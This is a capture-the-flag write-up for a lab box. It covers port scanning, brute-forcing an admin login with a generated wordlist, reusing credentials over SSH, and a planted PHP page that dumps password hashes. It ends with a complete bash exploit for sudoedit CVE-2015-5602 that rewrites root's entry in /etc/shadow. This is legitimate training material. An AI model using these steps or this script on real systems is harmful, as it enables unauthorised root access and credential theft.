Note: I added the IP address to my /etc/hosts file, so that 'yotp' resolves to the target IP
nmap -sV -sC -v -oN top-ports.txt yotp
We have a web site at port 80 and SSH. Let's dig into the web application. It appears to be a basic blog, authored by air plane enthusiast Marco.
We have a Admin Panel login page and not much else. Trying to log in we get an interesting message:
Knowing the format of the password, we can take a stab at bruteforcing some login credentials.
Looking at the blog content, it is clear that Marco is obsessed with planes. His favorite is the Savoia S.21. We have a word and two numbers... this could potentially be a password.
I made a wordlist by making all combinations of savoia
, numbers 00-99, and special characters.
I made this list with Savoia having first letter capital, all caps, and all lowercase. This was generated with
the following python script:
import string
important_word = 'Savoia'
for i in range(100):
for sp in string.punctuation:
print(f'{important_word}{str(i).zfill(2)}{sp}')
print(f'{important_word.upper()}{str(i).zfill(2)}{sp}')
print(f'{important_word.lower()}{str(i).zfill(2)}{sp}')
I then used Burp to intercept a login request, and examine it's structure.
Authentication is done by making a POST request to /api/login with the request body being a JSON string holding the username, and md5 encoded password.
I used wfuzz for bruteforcing the login, since it has the capability to encode passwords (md5 in this case).
The wfuzz output showed the md5 hash of the correct password. All I had to do was take the md5 hash of each password in the wordlist, and compare it against the known password hash. With this I had a set of login credentials.
Looking around the Admin Panel
, I noticed there was another user, curtis, on the web app.
I played around with the admin panel for way too long before trying the simple approach: using known credentials in other places. I tried marco's credentials with ssh... ... and it worked! I wish I had tried this first.
In /home/marco
we find the first flag.
After doing some enumeration as user marco, I noticed a couple things:
web-developers
and could edit/create any pages on the web application.So my next goal was to get curtis' credentials for the Admin Panel
, with the hope that his credentials are also used
for his ssh login.
To go about this, I took advantage of the fact that marco has control over the web content.
I started digging through files under /var/www/html
. I found a .db file called admin.db
, however user marco
did not have access to this database directly.
I knew there must be some php code, running as www-data, that had access to the database.
I continued looking through /var/www/html
and I found a file, getUsers.php
, which had code that made a SQL query looking for users in the database:
I duplicated this file and saved it as creds.php
and modified it as shown below:
This code simply made a SQL query to the database, requesting all username and password fields. Then it echo'd some html containing the retrieved username:password pairs.
With this file saved, I then visited http://yotp/admin/creds.php
and got the md5 hash for curtis' password:
With this hash, I went right to http://crackstation.net and hoped this hash was recognized. Luckily this hash was known by CrackStation!
With curtis' password for the Admin Panel
, I tried it out on ssh, and successfully logged in as curtis!
In /home/curtis
we find the second flag.
Continuing with enumeration as user curtis, I noticed something interesting when running sudo -l
:
This looked like an unusual entry.
I searched for sudoedit vulnerabilites and came across https://www.exploit-db.com/exploits/37710
I looked for some available exploits and I found this https://github.com/t0kx/privesc-CVE-2015-5602.
I reviewed the source code to see how it worked, which I will summarize:
* This exploit can be used when a user can run sudoedit
on a file where the filepath contains subsequent wildcards in the path.
* We then create a symlink from /etc/shadow
to the sudoeditable file
* We create a simple bash script that uses sed
to change the contents of a /etc/shadow
file. By changing the entry for user root in /etc/shadow
we can change root's password
* We set our EDITOR
environment variable to our bash script
* We run sudoedit
on our editable file. Since we set the EDITOR
variable, sudoedit runs our bash script against the editable file.
* Since we have a symlink between our editable file and /etc/shadow
, and since our editable file contains two wildcard characters in the path, we can edit the contents of /etc/shadow
to give root a password of our choosing
I made some modifications to the exploit.sh
script in order to tailor it to my specific case. Below is my tailored script:
#!/usr/bin/env bash
# CVE-2015-5602 exploit by t0kx
# https://github.com/t0kx/privesc-CVE-2015-5602
export EDITOR="/tmp/edit"
export FOLDER="${RANDOM}"
export PASSWD=$(printf ${RANDOM} \
| md5sum \
| awk '{print $1}')
prepare() {
cat << EOF >> /tmp/edit
pass="$(printf "%q" $(openssl passwd -1 -salt ${RANDOM} ${PASSWD}))"
sed -i -e "s,^root:[^:]+:,root:\${pass}:," \${1}
EOF
}
main() {
printf "[+] CVE-2015-5602 exploit by t0kx\n"
printf "[+] Modify EDITOR...\n"
prepare && chmod +x ${EDITOR}
printf "[+] Change root password to: ${PASSWD}\n"
sudoedit /var/www/html/1/2/config.php
printf "[+] Done\n"
}; main
After creating the symlink, I ran the script and successfully escalated to root!